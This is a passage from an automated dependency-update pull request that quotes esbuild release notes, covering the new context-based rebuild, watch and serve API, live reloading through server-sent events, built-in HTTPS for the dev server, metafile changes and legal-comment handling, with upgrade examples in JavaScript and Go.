which is that if the initial build fails, a promise is thrown in
JavaScript which prevents you from accessing the returned result object.
That prevented you from setting up long-running operations such as watch
mode when the initial build contained errors. It also makes tearing down
incremental builds simpler as there is now a single way to do it instead
of three separate ways.

In addition, this release also makes some subtle changes to how
incremental builds work. Previously every call to `rebuild()` started a
new build. If you weren't careful, then builds could actually overlap.
This doesn't cause any problems with esbuild itself, but could
potentially cause problems with plugins (esbuild doesn't even give you a
way to identify which overlapping build a given plugin callback is
running on). Overlapping builds also arguably aren't useful, or at least
aren't useful enough to justify the confusion and complexity that they
bring. With this release, there is now only ever a single active build
per context. Calling `rebuild()` before the previous rebuild has
finished now "merges" with the existing rebuild instead of starting a
new build.

- Allow using `watch` and `serve` together
([#&#8203;805](https://togithub.com/evanw/esbuild/issues/805),
[#&#8203;1650](https://togithub.com/evanw/esbuild/issues/1650),
[#&#8203;2576](https://togithub.com/evanw/esbuild/issues/2576))

Previously it was not possible to use watch mode and serve mode
together. The rationale was that watch mode is one way of automatically
rebuilding your project and serve mode is another (since serve mode
automatically rebuilds on every request). However, people want to
combine these two features to make "live reloading" where the browser
automatically reloads the page when files are changed on the file
system.

This release now allows you to use these two features together. You can
only call the `watch()` and `serve()` APIs once each per context, but if
you call them together on the same context then esbuild will
automatically rebuild both when files on the file system are changed
*and* when the server serves a request.

- Support "live reloading" through server-sent events
([#&#8203;802](https://togithub.com/evanw/esbuild/issues/802))

[Server-sent
events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events)
are a simple way to pass one-directional messages asynchronously from
the server to the client. Serve mode now provides a `/esbuild` endpoint
with an `change` event that triggers every time esbuild's output
changes. So you can now implement simple "live reloading" (i.e.
reloading the page when a file is edited and saved) like this:

    ```js
new EventSource('/esbuild').addEventListener('change', () =>
location.reload())
    ```

    The event payload is a JSON object with the following shape:

    ```ts
    interface ChangeEvent {
      added: string[]
      removed: string[]
      updated: string[]
    }
    ```

This JSON should also enable more complex live reloading scenarios. For
example, the following code hot-swaps changed CSS `<link>` tags in place
without reloading the page (but still reloads when there are other types
of changes):

    ```js
    new EventSource('/esbuild').addEventListener('change', e => {
      const { added, removed, updated } = JSON.parse(e.data)
      if (!added.length && !removed.length && updated.length === 1) {
        for (const link of document.getElementsByTagName("link")) {
          const url = new URL(link.href)
if (url.host === location.host && url.pathname === updated[0]) {
            const next = link.cloneNode()
next.href = updated[0] + '?' + Math.random().toString(36).slice(2)
            next.onload = () => link.remove()
            link.parentNode.insertBefore(next, link.nextSibling)
            return
          }
        }
      }
      location.reload()
    })
    ```

    Implementing live reloading like this has a few known caveats:

- These events only trigger when esbuild's output changes. They do not
trigger when files unrelated to the build being watched are changed. If
your HTML file references other files that esbuild doesn't know about
and those files are changed, you can either manually reload the page or
you can implement your own live reloading infrastructure instead of
using esbuild's built-in behavior.

- The `EventSource` API is supposed to automatically reconnect for you.
However, there's a bug in Firefox that breaks this if the server is ever
temporarily unreachable:
https://bugzilla.mozilla.org/show_bug.cgi?id=1809332. Workarounds are to
use any other browser, to manually reload the page if this happens, or
to write more complicated code that manually closes and re-creates the
`EventSource` object if there is a connection error. I'm hopeful that
this bug will be fixed.

- Browser vendors have decided to not implement HTTP/2 without TLS. This
means that each `/esbuild` event source will take up one of your
precious 6 simultaneous per-domain HTTP/1.1 connections. So if you open
more than six HTTP tabs that use this live-reloading technique, you will
be unable to use live reloading in some of those tabs (and other things
will likely also break). The workaround is to enable HTTPS, which is now
possible to do in esbuild itself (see below).

- Add built-in support for HTTPS
([#&#8203;2169](https://togithub.com/evanw/esbuild/issues/2169))

You can now tell esbuild's built-in development server to use HTTPS
instead of HTTP. This is sometimes necessary because browser vendors
have started making modern web features unavailable to HTTP websites.
Previously you had to put a proxy in front of esbuild to enable HTTPS
since esbuild's development server only supported HTTP. But with this
release, you can now enable HTTPS with esbuild without an additional
proxy.

    To enable HTTPS with esbuild:

1. Generate a self-signed certificate. There are many ways to do this.
Here's one way, assuming you have `openssl` installed:

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days
9999 -nodes -subj /CN=127.0.0.1

2. Add `--keyfile=key.pem` and `--certfile=cert.pem` to your esbuild
development server command

3. Click past the scary warning in your browser when you load your page

If you have more complex needs than this, you can still put a proxy in
front of esbuild and use that for HTTPS instead. Note that if you see
the message "Client sent an HTTP request to an HTTPS server" when you
load your page, then you are using the incorrect protocol. Replace
`http://` with `https://` in your browser's URL bar.

Keep in mind that esbuild's HTTPS support has nothing to do with
security. The only reason esbuild now supports HTTPS is because browsers
have made it impossible to do local development with certain modern web
features without jumping through these extra hoops. *Please do not use
esbuild's development server for anything that needs to be secure.* It's
only intended for local development and no considerations have been made
for production environments whatsoever.

- Better support copying `index.html` into the output directory
([#&#8203;621](https://togithub.com/evanw/esbuild/issues/621),
[#&#8203;1771](https://togithub.com/evanw/esbuild/issues/1771))

Right now esbuild only supports JavaScript and CSS as first-class
content types. Previously this meant that if you were building a website
with a HTML file, a JavaScript file, and a CSS file, you could use
esbuild to build the JavaScript file and the CSS file into the output
directory but not to copy the HTML file into the output directory. You
needed a separate `cp` command for that.

Or so I thought. It turns out that the `copy` loader added in version
0.14.44 of esbuild is sufficient to have esbuild copy the HTML file into
the output directory as well. You can add something like `index.html
--loader:.html=copy` and esbuild will copy `index.html` into the output
directory for you. The benefits of this are a) you don't need a separate
`cp` command and b) the `index.html` file will automatically be
re-copied when esbuild is in watch mode and the contents of `index.html`
are edited. This also goes for other non-HTML file types that you might
want to copy.

This pretty much already worked. The one thing that didn't work was that
esbuild's built-in development server previously only supported
implicitly loading `index.html` (e.g. loading `/about/index.html` when
you visit `/about/`) when `index.html` existed on the file system.
Previously esbuild didn't support implicitly loading `index.html` if it
was a build result. That bug has been fixed with this release so it
should now be practical to use the `copy` loader to do this.

- Fix `onEnd` not being called in serve mode
([#&#8203;1384](https://togithub.com/evanw/esbuild/issues/1384))

Previous releases had a bug where plugin `onEnd` callbacks weren't
called when using the top-level `serve()` API. This API no longer exists
and the internals have been reimplemented such that `onEnd` callbacks
should now always be called at the end of every build.

- Incremental builds now write out build results differently
([#&#8203;2104](https://togithub.com/evanw/esbuild/issues/2104))

Previously build results were always written out after every build.
However, this could cause the output directory to fill up with files
from old builds if code splitting was enabled, since the file names for
code splitting chunks contain content hashes and old files were not
deleted.

With this release, incremental builds in esbuild will now delete old
output files from previous builds that are no longer relevant.
Subsequent incremental builds will also no longer overwrite output files
whose contents haven't changed since the previous incremental build.

- The `onRebuild` watch mode callback was removed
([#&#8203;980](https://togithub.com/evanw/esbuild/issues/980),
[#&#8203;2499](https://togithub.com/evanw/esbuild/issues/2499))

Previously watch mode accepted an `onRebuild` callback which was called
whenever watch mode rebuilt something. This was not great in practice
because if you are running code after a build, you likely want that code
to run after every build, not just after the second and subsequent
builds. This release removes option to provide an `onRebuild` callback.
You can create a plugin with an `onEnd` callback instead. The `onEnd`
plugin API already exists, and is a way to run some code after every
build.

- You can now return errors from `onEnd`
([#&#8203;2625](https://togithub.com/evanw/esbuild/issues/2625))

It's now possible to add additional build errors and/or warnings to the
current build from within your `onEnd` callback by returning them in an
array. This is identical to how the `onStart` callback already works.
The evaluation of `onEnd` callbacks have been moved around a bit
internally to make this possible.

Note that the build will only fail (i.e. reject the promise) if the
additional errors are returned from `onEnd`. Adding additional errors to
the result object that's passed to `onEnd` won't affect esbuild's
behavior at all.

- Print URLs and ports from the Go and JS APIs
([#&#8203;2393](https://togithub.com/evanw/esbuild/issues/2393))

Previously esbuild's CLI printed out something like this when serve mode
is active:

         > Local:   http://127.0.0.1:8000/
         > Network: http://192.168.0.1:8000/

The CLI still does this, but now the JS and Go serve mode APIs will do
this too. This only happens when the log level is set to `verbose`,
`debug`, or `info` but not when it's set to `warning`, `error`, or
`silent`.

##### Upgrade guide for existing code:

-   Rebuild (a.k.a. incremental build):

    Before:

    ```js
const result = await esbuild.build({ ...buildOptions, incremental: true
});
    builds.push(result);
    for (let i = 0; i < 4; i++) builds.push(await result.rebuild());
    await result.rebuild.dispose(); // To free resources
    ```

    After:

    ```js
    const ctx = await esbuild.context(buildOptions);
    for (let i = 0; i < 5; i++) builds.push(await ctx.rebuild());
    await ctx.dispose(); // To free resources
    ```

Previously the first build was done differently than subsequent builds.
Now both the first build and subsequent builds are done using the same
API.

-   Serve:

    Before:

    ```js
    const serveResult = await esbuild.serve(serveOptions, buildOptions);
    ...
    serveResult.stop(); await serveResult.wait; // To free resources
    ```

    After:

    ```js
    const ctx = await esbuild.context(buildOptions);
    const serveResult = await ctx.serve(serveOptions);
    ...
    await ctx.dispose(); // To free resources
    ```

-   Watch:

    Before:

    ```js
const result = await esbuild.build({ ...buildOptions, watch: true });
    ...
    result.stop(); // To free resources
    ```

    After:

    ```js
    const ctx = await esbuild.context(buildOptions);
    await ctx.watch();
    ...
    await ctx.dispose(); // To free resources
    ```

-   Watch with `onRebuild`:

    Before:

    ```js
    const onRebuild = (error, result) => {
      if (error) console.log('subsequent build:', error);
      else console.log('subsequent build:', result);
    };
    try {
const result = await esbuild.build({ ...buildOptions, watch: { onRebuild
} });
      console.log('first build:', result);
      ...
      result.stop(); // To free resources
    } catch (error) {
      console.log('first build:', error);
    }
    ```

    After:

    ```js
    const plugins = [{
      name: 'my-plugin',
      setup(build) {
        let count = 0;
        build.onEnd(result => {
          if (count++ === 0) console.log('first build:', result);
          else console.log('subsequent build:', result);
        });
      },
    }];
    const ctx = await esbuild.context({ ...buildOptions, plugins });
    await ctx.watch();
    ...
    await ctx.dispose(); // To free resources
    ```

The `onRebuild` function has now been removed. The replacement is to
make a plugin with an `onEnd` callback.

Previously `onRebuild` did not fire for the first build (only for
subsequent builds). This was usually problematic, so using `onEnd`
instead of `onRebuild` is likely less error-prone. But if you need to
emulate the old behavior of `onRebuild` that ignores the first build,
then you'll need to manually count and ignore the first build in your
plugin (as demonstrated above).

Notice how all of these API calls are now done off the new context
object. You should now be able to use all three kinds of incremental
builds (`rebuild`, `serve`, and `watch`) together on the same context
object. Also notice how calling `dispose` on the context is now the
common way to discard the context and free resources in all of these
situations.

###
[`v0.16.17`](https://togithub.com/evanw/esbuild/blob/HEAD/CHANGELOG.md#&#8203;01617)

[Compare
Source](https://togithub.com/evanw/esbuild/compare/v0.16.16...v0.16.17)

- Fix additional comment-related regressions
([#&#8203;2814](https://togithub.com/evanw/esbuild/issues/2814))

This release fixes more edge cases where the new comment preservation
behavior that was added in 0.16.14 could introduce syntax errors.
Specifically:

    ```js
    x = () => (/* comment */ {})
    for ((/* comment */ let).x of y) ;
    function *f() { yield (/* comment */class {}) }
    ```

These cases caused esbuild to generate code with a syntax error in
version 0.16.14 or above. These bugs have now been fixed.

###
[`v0.16.16`](https://togithub.com/evanw/esbuild/blob/HEAD/CHANGELOG.md#&#8203;01616)

[Compare
Source](https://togithub.com/evanw/esbuild/compare/v0.16.15...v0.16.16)

- Fix a regression caused by comment preservation
([#&#8203;2805](https://togithub.com/evanw/esbuild/issues/2805))

The new comment preservation behavior that was added in 0.16.14
introduced a regression where comments in certain locations could cause
esbuild to omit certain necessary parentheses in the output. The
outermost parentheses were incorrectly removed for the following syntax
forms, which then introduced syntax errors:

    ```js
    (/* comment */ { x: 0 }).x;
    (/* comment */ function () { })();
    (/* comment */ class { }).prototype;
    ```

    This regression has been fixed.

###
[`v0.16.15`](https://togithub.com/evanw/esbuild/blob/HEAD/CHANGELOG.md#&#8203;01615)

[Compare
Source](https://togithub.com/evanw/esbuild/compare/v0.16.14...v0.16.15)

-   Add `format` to input files in the JSON metafile data

When `--metafile` is enabled, input files may now have an additional
`format` field that indicates the export format used by this file. When
present, the value will either be `cjs` for CommonJS-style exports or
`esm` for ESM-style exports. This can be useful in bundle analysis.

For example, esbuild's new [Bundle Size
Analyzer](https://esbuild.github.io/analyze/) now uses this information
to visualize whether ESM or CommonJS was used for each directory and
file of source code (click on the CJS/ESM bar at the top).

This information is helpful when trying to reduce the size of your
bundle. Using the ESM variant of a dependency instead of the CommonJS
variant always results in a faster and smaller bundle because it omits
CommonJS wrappers, and also may result in better tree-shaking as it
allows esbuild to perform tree-shaking at the statement level instead of
the module level.

- Fix a bundling edge case with dynamic import
([#&#8203;2793](https://togithub.com/evanw/esbuild/issues/2793))

This release fixes a bug where esbuild's bundler could produce incorrect
output. The problematic edge case involves the entry point importing
itself using a dynamic `import()` expression in an imported file, like
this:

    ```js
    // src/a.js
    export const A = 42;

    // src/b.js
    export const B = async () => (await import(".")).A

    // src/index.js
    export * from "./a"
    export * from "./b"
    ```

- Remove new type syntax from type declarations in the `esbuild` package
([#&#8203;2798](https://togithub.com/evanw/esbuild/issues/2798))

Previously you needed to use TypeScript 4.3 or newer when using the
`esbuild` package from TypeScript code due to the use of a getter in an
interface in `node_modules/esbuild/lib/main.d.ts`. This release removes
this newer syntax to allow people with versions of TypeScript as far
back as TypeScript 3.5 to use this latest version of the `esbuild`
package. Here is change that was made to esbuild's type declarations:

    ```diff
     export interface OutputFile {
       /** "text" as bytes */
       contents: Uint8Array;
       /** "contents" as text (changes automatically with "contents") */
    -  get text(): string;
    +  readonly text: string;
     }
    ```

###
[`v0.16.14`](https://togithub.com/evanw/esbuild/blob/HEAD/CHANGELOG.md#&#8203;01614)

[Compare
Source](https://togithub.com/evanw/esbuild/compare/v0.16.13...v0.16.14)

- Preserve some comments in expressions
([#&#8203;2721](https://togithub.com/evanw/esbuild/issues/2721))

Various tools give semantic meaning to comments embedded inside of
expressions. For example, Webpack and Vite have special "magic comments"
that can be used to affect code splitting behavior:

    ```js
    import(/* webpackChunkName: "foo" */ '../foo');
    import(/* @&#8203;vite-ignore */ dynamicVar);
new Worker(/* webpackChunkName: "bar" */ new URL("../bar.ts",
import.meta.url));
new Worker(new URL('./path', import.meta.url), /* @&#8203;vite-ignore */
dynamicOptions);
    ```

Since esbuild can be used as a preprocessor for these tools (e.g. to
strip TypeScript types), it can be problematic if esbuild doesn't do
additional work to try to retain these comments. Previously esbuild
special-cased Webpack comments in these specific locations in the AST.
But Vite would now like to use similar comments, and likely other tools
as well.

So with this release, esbuild now will attempt to preserve some comments
inside of expressions in more situations than before. This behavior is
mainly intended to preserve these special "magic comments" that are
meant for other tools to consume, although esbuild will no longer only
preserve Webpack-specific comments so it should now be tool-agnostic.
There is no guarantee that all such comments will be preserved
(especially when `--minify-syntax` is enabled). So this change does
*not* mean that esbuild is now usable as a code formatter. In particular
comment preservation is more likely to happen with leading comments than
with trailing comments. You should put comments that you want to be
preserved *before* the relevant expression instead of after it. Also
note that this change does not retain any more statement-level comments
than before (i.e. comments not embedded inside of expressions). Comment
preservation is not enabled when `--minify-whitespace` is enabled (which
is automatically enabled when you use `--minify`).

###
[`v0.16.13`](https://togithub.com/evanw/esbuild/blob/HEAD/CHANGELOG.md#&#8203;01613)

[Compare
Source](https://togithub.com/evanw/esbuild/compare/v0.16.12...v0.16.13)

-   Publish a new bundle visualization tool

While esbuild provides bundle metadata via the `--metafile` flag,
previously esbuild left analysis of it completely up to third-party
tools (well, outside of the rudimentary `--analyze` flag). However, the
esbuild website now has a built-in bundle visualization tool:

    -   https://esbuild.github.io/analyze/

You can pass `--metafile` to esbuild to output bundle metadata, then
upload that JSON file to this tool to visualize your bundle. This is
helpful for answering questions such as:

    -   Which packages are included in my bundle?
    -   How did a specific file get included?
    -   How small did a specific file compress to?
    -   Was a specific file tree-shaken or not?

I'm publishing this tool because I think esbuild should provide *some*
answer to "how do I visualize my bundle" without requiring people to
reach for third-party tools. At the moment the tool offers two types of
visualizations: a radial "sunburst chart" and a linear "flame chart".
They serve slightly different but overlapping use cases (e.g. the
sunburst chart is more keyboard-accessible while the flame chart is
easier with the mouse). This tool may continue to evolve over time.

- Fix `--metafile` and `--mangle-cache` with `--watch`
([#&#8203;1357](https://togithub.com/evanw/esbuild/issues/1357))

The CLI calls the Go API and then also writes out the metafile and/or
mangle cache JSON files if those features are enabled. This extra step
is necessary because these files are returned by the Go API as in-memory
strings. However, this extra step accidentally didn't happen for all
builds after the initial build when watch mode was enabled. This
behavior used to work but it was broken in version 0.14.18 by the
introduction of the mangle cache feature. This release fixes the
combination of these features, so the metafile and mangle cache features
should now work with watch mode. This behavior was only broken for the
CLI, not for the JS or Go APIs.

-   Add an `original` field to the metafile

The metadata file JSON now has an additional field: each import in an
input file now contains the pre-resolved path in the `original` field in
addition to the post-resolved path in the `path` field. This means it's
now possible to run certain additional analysis over your bundle. For
example, you should be able to use this to detect when the same package
subpath is represented multiple times in the bundle, either because
multiple versions of a package were bundled or because a package is
experiencing the [dual-package
hazard](https://nodejs.org/api/packages.html#dual-package-hazard).

###
[`v0.16.12`](https://togithub.com/evanw/esbuild/releases/tag/v0.16.12)

[Compare
Source](https://togithub.com/evanw/esbuild/compare/v0.16.11...v0.16.12)

- Loader defaults to `js` for extensionless files
([#&#8203;2776](https://togithub.com/evanw/esbuild/issues/2776))

Certain packages contain files without an extension. For example, the
`yargs` package contains the file `yargs/yargs` which has no extension.
Node, Webpack, and Parcel can all understand code that imports
`yargs/yargs` because they assume that the file is JavaScript. However,
esbuild was previously unable to understand this code because it relies
on the file extension to tell it how to interpret the file. With this
release, esbuild will now assume files without an extension are
JavaScript files. This can be customized by setting the loader for `""`
(the empty string, representing files without an extension) to another
loader. For example, if you want files without an extension to be
treated as CSS instead, you can do that like this:

    -   CLI:

            esbuild --bundle --loader:=css

    -   JS:

        ```js
        esbuild.build({
          bundle: true,
          loader: { '': 'css' },
        })
        ```

    -   Go:

        ```go
        api.Build(api.BuildOptions{
          Bundle: true,
          Loader: map[string]api.Loader{"": api.LoaderCSS},
        })
        ```

In addition, the `"type"` field in `package.json` files now only applies
to files with an explicit `.js`, `.jsx`, `.ts`, or `.tsx` extension.
Previously it was incorrectly applied by esbuild to all files that had
an extension other than `.mjs`, `.mts`, `.cjs`, or `.cts` including
extensionless files. So for example an extensionless file in a `"type":
"module"` package is now treated as CommonJS instead of ESM.

###
[`v0.16.11`](https://togithub.com/evanw/esbuild/releases/tag/v0.16.11)

[Compare
Source](https://togithub.com/evanw/esbuild/compare/v0.16.10...v0.16.11)

- Avoid a syntax error in the presence of direct `eval`
([#&#8203;2761](https://togithub.com/evanw/esbuild/issues/2761))

The behavior of nested `function` declarations in JavaScript depends on
whether the code is run in strict mode or not. It would be problematic
if esbuild preserved nested `function` declarations in its output
because then the behavior would depend on whether the output was run in
strict mode or not instead of respecting the strict mode behavior of the
original source code. To avoid this, esbuild transforms nested
`function` declarations to preserve the intended behavior of the
original source code regardless of whether the output is run in strict
mode or not:

    ```js
    // Original code
    if (true) {
      function foo() {}
      console.log(!!foo)
      foo = null
      console.log(!!foo)
    }
    console.log(!!foo)

    // Transformed code
    if (true) {
      let foo2 = function() {
      };
      var foo = foo2;
      console.log(!!foo2);
      foo2 = null;
      console.log(!!foo2);
    }
    console.log(!!foo);
    ```

In the above example, the original code should print `true false true`
because it's not run in strict mode (it doesn't contain `"use strict"`
and is not an ES module). The code that esbuild generates has been
transformed such that it prints `true false true` regardless of whether
it's run in strict mode or not.

However, this transformation is impossible if the code contains direct
`eval` because direct `eval` "poisons" all containing scopes by
preventing anything in those scopes from being renamed. That prevents
esbuild from splitting up accesses to `foo` into two separate variables
with different names. Previously esbuild still did this transformation
but with two variables both named `foo`, which is a syntax error. With
this release esbuild will now skip doing this transformation when direct
`eval` is present to avoid generating code with a syntax error. This
means that the generated code may no longer behave as intended since the
behavior depends on the run-time strict mode setting instead of the
strict mode setting present in the original source code. To fix this
problem, you will need to remove the use of direct `eval`.

- Fix a bundling scenario involving multiple symlinks
([#&#8203;2773](https://togithub.com/evanw/esbuild/issues/2773),
[#&#8203;2774](https://togithub.com/evanw/esbuild/issues/2774))

This release contains a fix for a bundling scenario involving an import
path where multiple path segments are symlinks. Previously esbuild was
unable to resolve certain import paths in this scenario, but these
import paths should now work starting with this release. This fix was
contributed by [@&#8203;onebytegone](https://togithub.com/onebytegone).

###
[`v0.16.10`](https://togithub.com/evanw/esbuild/releases/tag/v0.16.10)

[Compare
Source](https://togithub.com/evanw/esbuild/compare/v0.16.9...v0.16.10)

- Change the default "legal comment" behavior again
([#&#8203;2745](https://togithub.com/evanw/esbuild/issues/2745))

The legal comments feature automatically gathers comments containing
`@license` or `@preserve` and puts the comments somewhere (either in the
generated code or in a separate file). This behavior used to be on by
default but was disabled by default in version 0.16.0 because
automatically inserting comments is potentially confusing and
misleading. These comments can appear to be assigning the copyright of
your code to another entity. And this behavior can be especially
problematic if it happens automatically by default since you may not
even be aware of it happening. For example, if you bundle the TypeScript
compiler the preserving legal comments means your source code would
contain this comment, which appears to be assigning the copyright of all
of your code to Microsoft:

    ```js
/*!
*****************************************************************************
    Copyright (c) Microsoft Corporation. All rights reserved.
Licensed under the Apache License, Version 2.0 (the "License"); you may
not use
this file except in compliance with the License. You may obtain a copy
of the
    License at http://www.apache.org/licenses/LICENSE-2.0

THIS CODE IS PROVIDED ON AN *AS IS* BASIS, WITHOUT WARRANTIES OR
CONDITIONS OF ANY
KIND, EITHER EXPRESS OR IMPLIED, INCLUDING WITHOUT LIMITATION ANY
IMPLIED
    WARRANTIES OR CONDITIONS OF TITLE, FITNESS FOR A PARTICULAR PURPOSE,
    MERCHANTABLITY OR NON-INFRINGEMENT.

See the Apache Version 2.0 License for specific language governing
permissions
    and limitations under the License.

*****************************************************************************
*/
    ```

However, people have asked for this feature to be re-enabled by default.
To resolve the confusion about what these comments are applying to,
esbuild's default behavior will now be to attempt to describe which
package the comments are coming from. So while this feature has been
re-enabled by default, the output will now look something like this
instead:

    ```js
    /*! Bundled license information:

    typescript/lib/typescript.js:
(*!
*****************************************************************************
      Copyright (c) Microsoft Corporation. All rights reserved.
Licensed under the Apache License, Version 2.0 (the "License"); you may
not use
this file except in compliance with the License. You may obtain a copy
of the
      License at http://www.apache.org/licenses/LICENSE-2.0

THIS CODE IS PROVIDED ON AN *AS IS* BASIS, WITHOUT WARRANTIES OR
CONDITIONS OF ANY
KIND, EITHER EXPRESS OR IMPLIED, INCLUDING WITHOUT LIMITATION ANY
IMPLIED
WARRANTIES OR CONDITIONS OF TITLE, FITNESS FOR A PARTICULAR PURPOSE,
      MERCHANTABLITY OR NON-INFRINGEMENT.

See the Apache Version 2.0 License for specific language governing
permissions
      and limitations under the License.

*****************************************************************************
*)
    */
    ```

Note that you can still customize this behavior with the
`--legal-comments=` flag. For example, you can use
`--legal-comments=none` to turn this off, or you can use
`--legal-comments=linked` to put these comments in a separate
`.LEGAL.txt` file instead.

- Enable `external` legal comments with the transform API
([#&#8203;2390](https://togithub.com/evanw/esbuild/issues/2390))

Previously esbuild's transform API only supported `none`, `inline`, or
`eof` legal comments. With this release, `external` legal comments are
now also supported with the transform API. This only applies to the JS
and Go APIs, not to the CLI, and looks like this:

    -   JS:

        ```js
        const { code, legalComments } = await esbuild.transform(input, {
          legalComments: 'external',
        })
        ```

    -   Go:

        ```go
        result := api.Transform(input, api.TransformOptions{
          LegalComments: api.LegalCommentsEndOfFile,
        })
        code := result.Code
        legalComments := result.LegalComments
        ```

- Fix duplicate function declaration edge cases
([#&#8203;2757](https://togithub.com/evanw/esbuild/issues/2757))

The change in the previous release to forbid duplicate function
declarations in certain cases accidentally forbid some edge cases that
should have been allowed. Specifically duplicate function declarations
are forbidden in nested blocks in strict mode and at the top level of
modules, but are allowed when they are declared at the top level of
function bodies. This release fixes the regression by re-allowing the
last case.

- Allow package subpaths with `alias`
([#&#8203;2715](https://togithub.com/evanw/esbuild/issues/2715))

Previously the names passed to the `alias` feature had to be the name of
a package (with or without a package scope). With this release, you can
now also use the `alias` feature with package subpaths. So for example
you can now create an alias that substitutes `@org/pkg/lib` with
something else.

### [`v0.16.9`](https://togithub.com/evanw/esbuild/releases/tag/v0.16.9)

[Compare
Source](https://togithub.com/evanw/esbuild/compare/v0.16.8...v0.16.9)

-   Update to Unicode 15.0.0

The character tables that determine which characters form valid
JavaScript identifiers have been updated from Unicode version 14.0.0 to
the newly-released Unicode version 15.0.0. I'm not putting an example in
the release notes because all of the new characters will likely just
show up as little squares since fonts haven't been updated yet. But you
can read https://www.unicode.org/versions/Unicode15.0.0/#Summary for
more information about the changes.

- Disallow duplicate lexically-declared names in nested blocks and in
strict mode

In strict mode or in a nested block, it's supposed to be a syntax error
to declare two symbols with the same name unless all duplicate entries
are either `function` declarations or all `var` declarations. However,
esbuild was overly permissive and allowed this when duplicate entries
were either `function` declarations or `var` declarations (even if they
were mixed). This check has now been made more restrictive to match the
JavaScript specification:

    ```js
    // JavaScript allows this
    var a
    function a() {}
    {
      var b
      var b
      function c() {}
      function c() {}
    }

    // JavaScript doesn't allow this
    {
      var d
      function d() {}
    }
    ```

- Add a type declaration for the new `empty` loader
([#&#8203;2755](https://togithub.com/evanw/esbuild/pull/2755))

    I forgot to add this in the previous release. It has now been added.

This fix was contributed by [@&#8203;fz6m](https://togithub.com/fz6m).

-   Add support for the `v` flag in regular expression literals

People are currently working on adding a `v` flag to JavaScript regular
expresions. You can read more about this flag here:
https://v8.dev/features/regexp-v-flag. This release adds support for
parsing this flag, so esbuild will now no longer consider regular
expression literals with this flag to be a syntax error. If the target
is set to something other than `esnext`, esbuild will transform regular
expression literals containing this flag into a `new RegExp()`
constructor call so the resulting code doesn't have a syntax error. This
enables you to provide a polyfill for `RegExp` that implements the `v`
flag to get your code to work at run-time. While esbuild doesn't
typically adopt proposals until they're already shipping in a real
JavaScript run-time, I'm adding it now because a) esbuild's
implementation doesn't need to change as the proposal evolves, b) this
isn't really new syntax since regular expression literals already have
flags, and c) esbuild's implementation is a trivial pass-through anyway.

-   Avoid keeping the name of classes with static `name` properties

The `--keep-names` property attempts to preserve the original value of
the `name` property for functions and classes even when identifiers are
renamed by the minifier or to avoid a name collision. This is currently
done by generating code to assign a string to the `name` property on the
function or class object. However, this should not be done for classes
with a static `name` property since in that case the explicitly-defined
`name` property overwrites the automatically-generated class name. With
this release, esbuild will now no longer attempt to preserve the `name`
property for classes with a static `name` property.

### [`v0.16.8`](https://togithub.com/evanw/esbuild/releases/tag/v0.16.8)

[Compare
Source](https://togithub.com/evanw/esbuild/compare/v0.16.7...v0.16.8)

- Allow plugins to resolve injected files
([#&#8203;2754](https://togithub.com/evanw/esbuild/issues/2754))

Previously paths passed to the `inject` feature were always interpreted
as file system paths. This meant that `onResolve` plugins would not be
run for them and esbuild's default path resolver would always be used.
This meant that the `inject` feature couldn't be used in the browser
since the browser doesn't have access to a file system. This release
runs paths passed to `inject` through esbuild's full path resolution
pipeline so plugins now have a chance to handle them using `onResolve`
callbacks. This makes it possible to write a plugin that makes esbuild's
`inject` work in the browser.

- Add the `empty` loader
([#&#8203;1541](https://togithub.com/evanw/esbuild/issues/1541),
[#&#8203;2753](https://togithub.com/evanw/esbuild/issues/2753))

The new `empty` loader tells esbuild to pretend that a file is empty. So
for example `--loader:.css=empty` effectively skips all imports of
`.css` files in JavaScript so that they aren't included in the bundle,
since `import "./some-empty-file"` in JavaScript doesn't bundle
anything. You can also use the `empty` loader to remove asset references
in CSS files. For example `--loader:.png=empty` causes esbuild to
replace asset references such as `url(image.png)` with `url()` so that
they are no longer included in the resulting style sheet.

- Fix `</script>` and `</style>` escaping for non-default targets
([#&#8203;2748](https://togithub.com/evanw/esbuild/issues/2748))

The change in version 0.16.0 to give control over `</script>` escaping
via `--supported:inline-script=false` or
`--supported:inline-script=true` accidentally broke automatic escaping
of `</script>` when an explicit `target` setting is specified. This
release restores the correct automatic escaping of `</script>` (which
should not depend on what `target` is set to).

- Enable the `exports` field with `NODE_PATHS`
([#&#8203;2752](https://togithub.com/evanw/esbuild/issues/2752))

Node has a rarely-used feature where you can extend the set of
directories that node searches for packages using the `NODE_PATHS`
environment variable. While esbuild supports this too, previously it
only supported the old `main` field path resolution but did not support
the new `exports` field package resolution. This release makes the path
resolution rules the same again for both `node_modules` directories and
`NODE_PATHS` directories.

### [`v0.16.7`](https://togithub.com/evanw/esbuild/releases/tag/v0.16.7)

[Compare
Source](https://togithub.com/evanw/esbuild/compare/v0.16.6...v0.16.7)

- Include `file` loader strings in metafile imports
([#&#8203;2731](https://togithub.com/evanw/esbuild/issues/2731))

Bundling a file with the `file` loader copies that file to the output
directory and imports a module with the path to the copied file in the
`default` export. Previously when bundling with the `file` loader, there
was no reference in the metafile from the JavaScript file containing the
path string to the copied file. With this release, there will now be a
reference in the metafile in the `imports` array with the kind
`file-loader`:

    ```diff
     {
       ...
       "outputs": {
         "out/image-55CCFTCE.svg": {
           ...
         },
         "out/entry.js": {
           "imports": [
    +        {
    +          "path": "out/image-55CCFTCE.svg",
    +          "kind": "file-loader"
    +        }
           ],
           ...
         }
       }
     }
    ```

- Fix byte counts in metafile regarding references to other output files
([#&#8203;2071](https://togithub.com/evanw/esbuild/issues/2071))

Previously files that contained references to other output files had
slightly incorrect metadata for the byte counts of input files which
contributed to that output file. So for example if `app.js` imports
`image.png` using the file loader and esbuild generates `out.js` and
`image-LSAMBFUD.png`, the metadata for how many bytes of `out.js` are
from `app.js` was slightly off (the metadata for the byte count of
`out.js` was still correct). The reason is because esbuild substitutes
the final paths for references between output files toward the end of
the build to handle cyclic references, and the byte counts needed to be
adjusted as well during the path substitution. This release fixes these
byte counts (specifically the `bytesInOutput` values).

-   The alias feature now strips a trailing sl

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

